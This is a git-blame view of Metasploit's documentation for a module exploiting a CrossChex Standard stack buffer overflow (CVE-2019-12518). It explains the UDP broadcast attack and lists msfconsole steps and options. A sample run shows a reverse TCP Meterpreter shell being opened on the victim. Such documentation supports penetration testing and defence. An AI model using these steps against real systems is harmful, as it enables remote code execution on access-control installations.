Files
metasploit-gs/documentation/modules/exploit/windows/misc/crosschex_device_bof.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

72 lines
2.5 KiB
Markdown
Raw Normal View History

2020-02-10 16:45:44 +00:00
## Introduction
2020-02-18 23:27:30 -06:00
CrossChex is a personnel identity verification, access control, and time
attendance management system compatible with Windows 7,8 & 10. It uses
UDP broadcasts to identify and connect with Access Control devices on a
network. The code used to handle a response from an Access Control
device is vulnerable to a Stack Buffer Overflow attack on CrossChex
versions `Crosschex Standard x86 <= V4.3.12`. Tracked as CVE-2019-12518,
and as such permits arbitrary code execution.
The code used to overflow the Stack Buffer and code an attacker wishes
to be executed as a result of the exploit are sent in a single UDP
packet as a response to the CrossChex broadcast. As both the exploit and
the payload must be contained inside a single UDP packet, an exploit has
a maximum size of `8947 Characters`.
This module exploits CVE-2019-12518 by listening for a CrossChex "new
device" broadcast for a given number of seconds (`TIMEOUT`). It then
responds with a UDP packet containing shellcode for both the Buffer
Overflow exploit and the attacker's chosen payload. The `Space` payload
option ensures no payload of too large a size is used to ensure
successful exploitation. If a broadcast is not detected within the given
`TIMEOUT`, the module exits with a warning.
2020-02-10 16:45:44 +00:00
## Verification Steps
1. Start `msfconsole`
2. `use windows/misc/crosschex_device_bof`
3. `set LHOST vboxnet0`
4. `run`
5. Open CrossChex
6. Navigate to Device > Add
7. Select `Search`
8. Verify payload executes correctly
## Options
1. `TIMEOUT` Seconds module waits for broadcast, defaults to `1000`.
2. `CHOST`. Address UDP packet response is sent from. Defaults to `0.0.0.0`.
3. `CPORT`. Port UDP packet response is sent from. Defaults to `5050` as CrossChex expects communication from this port.
## Compatible Payloads
Any basic x86 windows payload.
## Payload Options
2020-02-18 23:27:30 -06:00
2020-02-10 16:45:44 +00:00
As above.
## Scenarios
```
msf5 exploit(windows/misc/crosschex_device_bof) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] CrossChex broadcast received, sending payload in response
[*] Payload sent
[*] Sending stage (180291 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49160) at 2020-02-10 16:21:13 +0000
meterpreter > ls
Listing: C:\Program Files\Anviz\CrossChex Standard
==================================================
...
```
## References
2021-04-05 13:03:42 -05:00
1. <https://nvd.nist.gov/vuln/detail/CVE-2019-12518>
2020-02-10 16:45:44 +00:00
2. <https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html>
2020-02-18 23:27:15 -06:00
3. <https://www.exploit-db.com/exploits/47734>